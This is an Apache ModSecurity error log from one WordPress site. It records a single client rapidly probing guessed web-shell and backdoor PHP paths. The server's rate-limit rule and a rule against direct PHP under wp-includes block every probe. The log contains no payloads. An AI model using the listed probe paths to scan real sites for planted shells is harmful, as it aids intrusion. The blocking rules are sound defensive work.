[Tue Apr 28 19:50:32.937462 2026] [:error] [pid 2741:tid 2768] [client 68.221.203.83:57169] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "afCfCPp92FeOz1h6ILzn7AAAAVY"]
[Tue Apr 28 19:50:33.435268 2026] [:error] [pid 33864:tid 33885] [client 68.221.203.83:8364] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "afCfCTXchLGZ4QggCskaeQAAAJM"]
[Tue Apr 28 19:50:33.934653 2026] [:error] [pid 33776:tid 33820] [client 68.221.203.83:20637] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "afCfCV-bEJ2CKP3iKAAuuQAAAEw"]
[Tue Apr 28 19:50:34.438876 2026] [:error] [pid 2741:tid 2760] [client 68.221.203.83:18590] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "afCfCvp92FeOz1h6ILzn7QAAAU4"]
[Tue Apr 28 19:50:34.934656 2026] [:error] [pid 33775:tid 33780] [client 68.221.203.83:24897] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "afCfCpsYOcoQrq88YbUp6AAAAME"]
[Tue Apr 28 19:50:35.456737 2026] [:error] [pid 50889:tid 50901] [client 68.221.203.83:20665] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "afCfC4zszBr00txEzGg_2gAAAAk"]
[Tue Apr 28 19:50:35.986145 2026] [:error] [pid 50889:tid 50892] [client 68.221.203.83:20624] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "afCfC4zszBr00txEzGg_2wAAAAA"]
[Tue Apr 28 19:50:36.555321 2026] [:error] [pid 50889:tid 50896] [client 68.221.203.83:24946] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "afCfDIzszBr00txEzGg_4AAAAAQ"]
[Tue Apr 28 19:50:37.092184 2026] [:error] [pid 33864:tid 33868] [client 68.221.203.83:17631] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "afCfDTXchLGZ4QggCskafAAAAII"]
[Tue Apr 28 19:50:37.655983 2026] [:error] [pid 33775:tid 33786] [client 68.221.203.83:18610] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "afCfDZsYOcoQrq88YbUp6gAAAMc"]
[Tue Apr 28 19:50:38.181461 2026] [:error] [pid 33864:tid 33884] [client 68.221.203.83:23165] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "afCfDjXchLGZ4QggCskafgAAAJI"]
[Tue Apr 28 19:50:38.684552 2026] [:error] [pid 2741:tid 2763] [client 68.221.203.83:18604] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "afCfDvp92FeOz1h6ILzn8gAAAVE"]
[Tue Apr 28 19:50:39.332388 2026] [:error] [pid 33776:tid 33823] [client 68.221.203.83:18583] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "afCfD1-bEJ2CKP3iKAAuuwAAAE8"]
[Tue Apr 28 19:50:39.921558 2026] [:error] [pid 33864:tid 33886] [client 68.221.203.83:20609] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "afCfDzXchLGZ4QggCskagAAAAJQ"]
[Tue Apr 28 19:50:40.460067 2026] [:error] [pid 33776:tid 33813] [client 68.221.203.83:16027] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "afCfEF-bEJ2CKP3iKAAuvQAAAEU"]
[Tue Apr 28 19:50:41.060599 2026] [:error] [pid 33777:tid 33840] [client 68.221.203.83:24943] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "afCfEbXUCFWqmordGGLS5QAAAQU"]
[Tue Apr 28 19:50:41.614915 2026] [:error] [pid 33777:tid 33848] [client 68.221.203.83:20682] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "afCfEbXUCFWqmordGGLS6AAAAQ0"]
[Tue Apr 28 19:50:42.147803 2026] [:error] [pid 50889:tid 50915] [client 68.221.203.83:57178] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "afCfEozszBr00txEzGg_7wAAABc"]
[Tue Apr 28 19:50:42.639702 2026] [:error] [pid 33775:tid 33792] [client 68.221.203.83:24902] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "afCfEpsYOcoQrq88YbUp7AAAAM0"]
[Tue Apr 28 19:50:43.178899 2026] [:error] [pid 2741:tid 2768] [client 68.221.203.83:20717] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "afCfE_p92FeOz1h6ILzn9wAAAVY"]
[Tue Apr 28 19:50:43.739523 2026] [:error] [pid 33864:tid 33890] [client 68.221.203.83:20691] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "afCfEzXchLGZ4QggCskaggAAAJg"]
[Tue Apr 28 19:50:44.239063 2026] [:error] [pid 2741:tid 2747] [client 68.221.203.83:28141] [client 68.221.203.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "afCfFPp92FeOz1h6ILzn-gAAAUE"]
[Tue Apr 28 19:50:44.797721 2026] [:error] [pid 2741:tid 2757] [client 68.221.203.83:24908] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "afCfFPp92FeOz1h6ILzn-wAAAUs"]
[Tue Apr 28 19:50:45.319551 2026] [:error] [pid 2741:tid 2758] [client 68.221.203.83:16031] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "afCfFfp92FeOz1h6ILzn_AAAAUw"]
[Tue Apr 28 19:50:45.864028 2026] [:error] [pid 33775:tid 33787] [client 68.221.203.83:20619] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "afCfFZsYOcoQrq88YbUp8AAAAMg"]
[Tue Apr 28 19:50:46.393161 2026] [:error] [pid 33776:tid 33825] [client 68.221.203.83:57797] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "afCfFl-bEJ2CKP3iKAAuxAAAAFE"]
[Tue Apr 28 19:50:46.886634 2026] [:error] [pid 2741:tid 2767] [client 68.221.203.83:16017] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "afCfFvp92FeOz1h6ILzoAQAAAVU"]
[Tue Apr 28 19:50:47.381675 2026] [:error] [pid 2741:tid 2762] [client 68.221.203.83:16025] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "afCfF_p92FeOz1h6ILzoAwAAAVA"]
[Tue Apr 28 19:50:47.921431 2026] [:error] [pid 2741:tid 2769] [client 68.221.203.83:16036] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "afCfF_p92FeOz1h6ILzoBQAAAVc"]
[Tue Apr 28 19:50:48.445787 2026] [:error] [pid 33864:tid 33887] [client 68.221.203.83:23163] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "afCfGDXchLGZ4QggCskagwAAAJU"]
[Tue Apr 28 19:50:48.990862 2026] [:error] [pid 2741:tid 2752] [client 68.221.203.83:23160] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "afCfGPp92FeOz1h6ILzoCgAAAUY"]
[Tue Apr 28 19:50:49.504684 2026] [:error] [pid 2741:tid 2758] [client 68.221.203.83:24920] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "afCfGfp92FeOz1h6ILzoDAAAAUw"]
[Tue Apr 28 19:50:50.118287 2026] [:error] [pid 2741:tid 2746] [client 68.221.203.83:8347] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "afCfGvp92FeOz1h6ILzoEAAAAUA"]
[Tue Apr 28 19:50:50.643676 2026] [:error] [pid 50889:tid 50913] [client 68.221.203.83:20731] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "afCfGozszBr00txEzGg_8QAAABU"]
[Tue Apr 28 19:50:51.414201 2026] [:error] [pid 50889:tid 50901] [client 68.221.203.83:20632] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "afCfG4zszBr00txEzGg_8gAAAAk"]
[Tue Apr 28 19:50:51.992562 2026] [:error] [pid 50889:tid 50900] [client 68.221.203.83:16063] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "afCfG4zszBr00txEzGg_8wAAAAg"]
[Tue Apr 28 19:50:52.531365 2026] [:error] [pid 33777:tid 33843] [client 68.221.203.83:8365] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "afCfHLXUCFWqmordGGLS7gAAAQg"]
[Tue Apr 28 19:50:53.062812 2026] [:error] [pid 33777:tid 33850] [client 68.221.203.83:20660] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "afCfHbXUCFWqmordGGLS8QAAAQ8"]
[Tue Apr 28 19:50:53.608715 2026] [:error] [pid 33777:tid 33855] [client 68.221.203.83:8335] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "afCfHbXUCFWqmordGGLS8wAAARQ"]
[Tue Apr 28 19:50:54.232305 2026] [:error] [pid 33777:tid 33845] [client 68.221.203.83:18594] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "afCfHrXUCFWqmordGGLS9wAAAQo"]
[Tue Apr 28 19:50:55.048838 2026] [:error] [pid 33777:tid 33857] [client 68.221.203.83:23113] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "afCfH7XUCFWqmordGGLS-wAAARY"]
[Tue Apr 28 19:50:55.669180 2026] [:error] [pid 50889:tid 50899] [client 68.221.203.83:8363] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "afCfH4zszBr00txEzGg_9QAAAAc"]
[Tue Apr 28 19:50:56.317053 2026] [:error] [pid 33864:tid 33884] [client 68.221.203.83:8338] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "afCfIDXchLGZ4QggCskaiwAAAJI"]
[Tue Apr 28 19:50:56.958208 2026] [:error] [pid 33777:tid 33850] [client 68.221.203.83:20647] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "afCfILXUCFWqmordGGLTAAAAAQ8"]
[Tue Apr 28 19:50:57.461795 2026] [:error] [pid 2741:tid 2751] [client 68.221.203.83:20656] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "afCfIfp92FeOz1h6ILzoFgAAAUU"]
[Tue Apr 28 19:50:58.011118 2026] [:error] [pid 33777:tid 33838] [client 68.221.203.83:24914] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "afCfIrXUCFWqmordGGLTAwAAAQM"]
[Tue Apr 28 19:50:58.636464 2026] [:error] [pid 33777:tid 33848] [client 68.221.203.83:18566] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "afCfIrXUCFWqmordGGLTBQAAAQ0"]
[Tue Apr 28 19:50:59.323683 2026] [:error] [pid 50889:tid 50907] [client 68.221.203.83:20614] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "afCfI4zszBr00txEzGg_-gAAAA8"]
[Tue Apr 28 19:50:59.916686 2026] [:error] [pid 50889:tid 50908] [client 68.221.203.83:8333] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "afCfI4zszBr00txEzGg__QAAABA"]
[Tue Apr 28 19:51:00.567607 2026] [:error] [pid 50889:tid 50913] [client 68.221.203.83:20663] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "afCfJIzszBr00txEzGhAAQAAABU"]
[Tue Apr 28 19:51:01.089297 2026] [:error] [pid 50889:tid 50901] [client 68.221.203.83:18572] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "afCfJYzszBr00txEzGhAAwAAAAk"]
[Tue Apr 28 19:51:01.652997 2026] [:error] [pid 33777:tid 33843] [client 68.221.203.83:18573] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "afCfJbXUCFWqmordGGLTBwAAAQg"]
[Tue Apr 28 19:51:02.198852 2026] [:error] [pid 33777:tid 33836] [client 68.221.203.83:16002] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "afCfJrXUCFWqmordGGLTCQAAAQE"]
[Tue Apr 28 19:51:02.806557 2026] [:error] [pid 2741:tid 2752] [client 68.221.203.83:20709] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "afCfJvp92FeOz1h6ILzoGwAAAUY"]
[Tue Apr 28 19:51:03.366222 2026] [:error] [pid 50889:tid 50909] [client 68.221.203.83:16015] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "afCfJ4zszBr00txEzGhABgAAABE"]
[Tue Apr 28 19:51:03.856672 2026] [:error] [pid 33777:tid 33855] [client 68.221.203.83:18620] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "afCfJ7XUCFWqmordGGLTCgAAARQ"]
